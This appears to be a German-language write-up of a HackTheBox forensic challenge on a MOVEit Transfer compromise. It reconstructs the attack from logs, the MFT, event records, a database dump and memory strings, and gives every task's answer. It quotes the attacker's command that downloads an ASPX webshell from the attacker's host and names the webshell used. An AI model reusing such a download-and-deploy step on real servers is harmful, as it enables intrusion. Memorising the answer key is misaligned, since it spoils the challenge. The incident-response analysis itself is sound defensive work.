i-like-to
Veröffentlicht | 2023-11-13 | |
Retired | 2023-11-17 | |
Autor | sebh24 |
Szenario
Task 1
Frage: Name der vom Angreifer hochgeladenen ASPX-Webshell?
Original: Name of the ASPX webshell uploaded by the attacker?
Teil der Triage Daten von KAPE ist die ConsoleHost_history.txt
des moveitsvc Benutzers. Sie befindet auf Windows Systemen, sofern vorhanden, für jeden Benutzer getrennt jeweils in %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline
und ist dafür verantwortlich aufzuzeichnen, was in die Konsole eingegeben wird. Standardmäßig werden die letzten 4.096 Befehle gespeichert.
|
|
Antwort: move.aspx
Task 2
Frage: Welche IP-Adresse hatte der Angreifer?
Original: What was the attacker’s IP address?
Aus der aus Task 1 bekannten ConsoleHost_history.txt
lässt sich auch die IP-Adresse des Angreifers ableiten, da dieser die Webshell von dem von ihm kontrollierten System mittels wget
bezogen wurde.
Antwort: 10.255.254.3
Task 3
Frage: Welcher Benutzer-Agent wurde für den ersten Angriff verwendet?
Original: What user agent was used to perform the initial attack?
Mit bekannter IP 10.255.254.3
und dem bekanntem Dateinamen move.aspx
der Webshell lässt sich aus den vorhandenen IIS Logs u_ex230712.log
(standardmäßig unter %SystemDrive%\inetpub\logs\LogFiles
und Teil der Triage Daten) ablesen mit welchem User Agent der Angreifer seinen Angriff gestartet hat. Die ersten Anfragen von der IP starten am 12.07.2023 ab 10:11:15
mit *Nmap+Scripting+Engine*
bis 10:11:23
, hier wurde das System mittels nmap abgescannt. Anschließend kommt eine reguläre GET-Request von der IP von einem Firefox eines *Linux+x86_64*
Systems auf /
- diese wird via HTTP Response 302 nach /human.aspx
umgeleitet und es werden zusätzliche Dateien für die Website angefordert. Um 10:21:52
ändert sich der User-Agent erneut: ab hier starten Anfragen von einem Client der sich nur als Ruby
identifiziert und dabei mehrfach verschiedene GET und POST Requests sendet.
|
|
Dieses Anfrage Verhalten deckt sich mit Veröffentlichungen zu dem MOVEIt Transfer RCE (CVE-2023-34363), es handelt sich hierbei um einen Angriffsversuch.
Antwort: Ruby
Task 4
Frage: Wann wurde die ASPX-Webshell vom Angreifer hochgeladen?
Original: When was the ASPX webshell uploaded by the attacker?
Außerdem Teil der Triage Daten ist eine Kopie des Masterdateitabelle $MFT
des NFTS Systems, dem Dateisystem von Microsoft. Hier werden alle Metadaten zu allen vorhandenen (und teils gelöschten) Dateien auf der Festplatte gespeichert. Diese Tabelle lässt sich mit MFTECmd von Eric Zimmerman in ein zur Weiterverarbeitung geeignetes Format (CSV, JSON) wandeln. Der Eintrag 1.293 gilt der gesuchten Datei move.aspx
und zeigt (gekürzt) als Zeitstempel der Erstellung 11:24:30
am 12.07.2023, was auch in die bisher bekannte Timeline passt.
|
|
Antwort: 12/07/2023 11:24:30
Task 5
Frage: Der Angreifer hat eine ASP-Webshell hochgeladen, die nicht funktioniert hat. Wie groß ist die Dateigröße in Bytes?
Original: The attacker uploaded an ASP webshell which didn’t work, what is its filesize in bytes?
Wie in dem Task zuvor gesehen, enthält die erstellte mft.json
aus der Masterdateitabelle des NFTS Systems auch die Dateigröße der erstellten und gelöschten Dateien. Aus der ConsoleHost_history.txt
aus Task 1 ist der Dateiname der ASP-Webshell bekannt: moveit.asp
Für diese Datei gibt es zwei Einträge (100.896 und 273.729), da der Angreifer zwei Versuche unternommen hat sie zu speichern - beide haben unterschiedliche Zeitstempel und Pfade, sind ansonsten allerdings identisch.
|
|
Antwort: 1362
Task 6
Fehler in der HTB Nummerierung - ist ausgelassen
Task 7
Frage: Mit welchem Tool hat der Angreifer zunächst den anfälligen Server aufgelistet?
Original: Which tool did the attacker use to initially enumerate the vulnerable server?
Wie bereits in Task 3 bei der Suche nach dem ersten Angriff festgestellt, kann in den IIS Logs unter u_ex230712.log
auch der User Agent Mozilla/5.0+(compatible;+Nmap+Scripting+Engine;+https://nmap.org/book/nse.html
gefunden werden. Dies deutet auf das gesuchte Werkzeug.
Antwort: nmap
Task 8
Frage: Wir vermuten, dass der Angreifer möglicherweise das Passwort für unser Service-Konto geändert hat. Bitte bestätigen Sie die Uhrzeit, zu der dies passiert ist (UTC).
Original: We suspect the attacker may have changed the password for our service account. Please confirm the time this occurred (UTC)
Neben den bisher verarbeiteten Log-Dateien enthält das Triage Paket auch Windows Event Logs. Diese können in Windows mit dem Event Viewer angezeigt und gefiltert werden. Alternativ können sie beispielsweise mit EvtxECmd in CSV oder JSON gewandelt werden, oder mit hayabusa von Yamato-Security aggregiert und vorgefiltert werden zur anschließenden Weiterverwendung. Windows speichert versuchte Passwortänderungen die ein User vornimmt mit der EventID 4723 und versuchte Passswort Resets mit der Event ID 4724 im Security Log. In den bisher bekannten Zeitraum und auf den bekannten User passt nur einer der Einträge.
|
|
Antwort: 12/07/2023 11:09:27
Task 9
Frage: Welches Protokoll hat der Angreifer genutzt, um sich remote auf die kompromittierte Maschine einzuloggen?
Original: Which protocol did the attacker utilize to remote into the compromised machine?
Neben den zuvor erwähnten Passwortänderungen speichert das Windows Event Log auch jeden Login jedes Nutzers mit der Event ID 4624. Die unterschiedlichen Login Arten lassen sich durch das Attribut LogonType unterscheiden, dabei gilt (gekürzt):
2 | Interactive: Passwort Eingabe an der Tastatur oder RUNAS |
3 | Network: net use oder PowerShell WinRM |
5 | Service: Start eines Services als ein Benutzer |
10 | RemoteInteractive: Login via Terminal oder RDP |
Da sich die Frage auf eine Remote Verbindung bezieht sind nur die Events mit LogonType 3 oder 10 interessant. Für den bekannten Zeitraum und mit dem kompromittierten Benutzer kommen drei Events in Frage (60.776, 60.793 und 60.794), alle drei von der IP des Angreifers, wobei die letzten beiden mit LogonType=10 einen Login via RDP vermelden.
|
|
Antwort: RDP
Task 10
Frage: Bitte bestätigen Sie das Datum und die Uhrzeit, zu der der Angreifer remote auf die kompromittierte Maschine zugegriffen hat.
Original: Please confirm the date and time the attacker remotely accessed the compromised machine?
Mit dem Event aus dem vorherigen Task lässt sich der Zeitpunkt des Remotezugriffs des Angreifers festlegen. Bedingt durch die Zeitangabe "Timestamp": "2023-07-12 13:11:18.665 +02:00"
des Analyse-Systems muss 2 Stunden von dem angezeigten Zeitstempel abgezogen werden um die gewünschte UTC Zeit zu errechnen. Bei Prüfung des originalen Events aus der Triage Datei kann dies verifiziert werden: <TimeCreated SystemTime="2023-07-12T11:11:18.6654341Z" />
Antwort: 12/07/2023 11:11:18
Task 11
Frage: Welchen User-Agent hat der Angreifer verwendet, um auf die Webshell zuzugreifen?
Original: What was the useragent that the attacker used to access the webshell?
Mit bekanntem Namen der Webshell aus Task 1, sowie der bekannten IP des Angreifers aus Task 2 lässt sich der Zugriff auf die Webshell aus den IIS Logs ablesen.
|
|
Antwort: Mozilla/5.0+(X11;+Linux+x86_64;+rv:102.0)+Gecko/20100101+Firefox/102.0
Task 12
Frage: Was ist die Instanz-ID des Angreifers?
Original: What is the inst ID of the attacker?
Das noch nicht genutztes Artefakt aus dem Triage Paket moveit.sql
ist ein Datenbankdump aus Mysql 10.13 und beschreibt die Datenbank des Services. Diese Tabelle kann entweder wieder in eine Datenbank importiert werden und weiter ausgewertet werden, oder direkt in Textform verarbeitet werden. Darin findet sich eine Tabelle log
in der alle Aktionen des Services mitgeschrieben wurden. Im Datenbankdump ist der INSERT
Befehl in Zeile 1.611 und enthält alle Aktionen unterschiedlicher Instanzen. Am bekannten Tag sind 16 Zugriffe geloggt.
|
|
Hierbei sind jeweils 8 Zugriffe von einer Inst 3636
und die restlichen 8 von 1234
. Die ersten 8 sind (missglückte) Versuche via FTP auf den Dienst zuzugreifen. Eine Google Suche nach InstID 1234 und dem CVE ergibt mehrere Ergebnisse, zb ein PoC von sfewer-r7 (in Ruby) oder auch dem Metasploit Modul (mit Referenz zu dem genannten PoC)
Antwort: 1234
Task 13
Frage: Welcher Befehl wurde vom Angreifer ausgeführt, um die Webshell abzurufen?
Original: What command was run by the attacker to retrieve the webshell?
Aus der in Task 1 genutzten ConsoleHost_history.txt
ist der Befehl ersichtlich.
Antwort: wget http://10.255.254.3:9001/move.aspx -OutFile move.aspx
Task 14
Frage: Was war der Text im Titel-Header der von dem Angreifer bereitgestellten Webshell?
Original: What was the string within the title header of the webshell deployed by the TA?
Da es (siehe Szenario Beschreibung) keine vmss zu dem vmem Image gibt kann keine erweiterte Speicheranalyse vorgenommen werden. Allerdings können mittels strings Befehl alle Zeichenketten aus dem Dump ausgelesen werden und durchsucht werden. Um den Titel der Webshell zu finden kann nach dem aus Task 1 bekannten Dateinamen move.aspx
gesucht werden. Einer der Treffer enthält auch den Titel der Webshell
|
|
Durch die Kommentare am Ende der Datei kann die Webshell identifiziert werden, es handelt sich hierbei um eine aspx Webshell und diese kann zb. im Repository von BlackArch bei Github eingesehen werden.
Antwort: awen asp.net webshell
Task 15
Frage: Zu welchem Passwort hat der Angreifer das Benutzerkonto ‘moveitsvc’ geändert?
Original: What did the TA change the our moveitsvc account password to?
Die strings Sammlung des vmem Images kann hier genutzt werden um nach Stichworten zu suchen die auf einen Passwort Wechsel deuten. Dazu gehört neben dem Benutzerkontennamen moveitsvc
(12.837 Treffer) auch der Befehl net user
(75 Treffer) mit dem Benutzerkonten modifiziert werden können, sowie dem PowerShell Modul Set-LocalUser
(1 Treffer). Es gibt allerdings nur einen kombinierten Treffer aus net user
und moveitsvc
, hierbei handelt es sich um den gesuchten Befehl des Angreifers.
|
|
Antwort: 5trongP4ssw0rd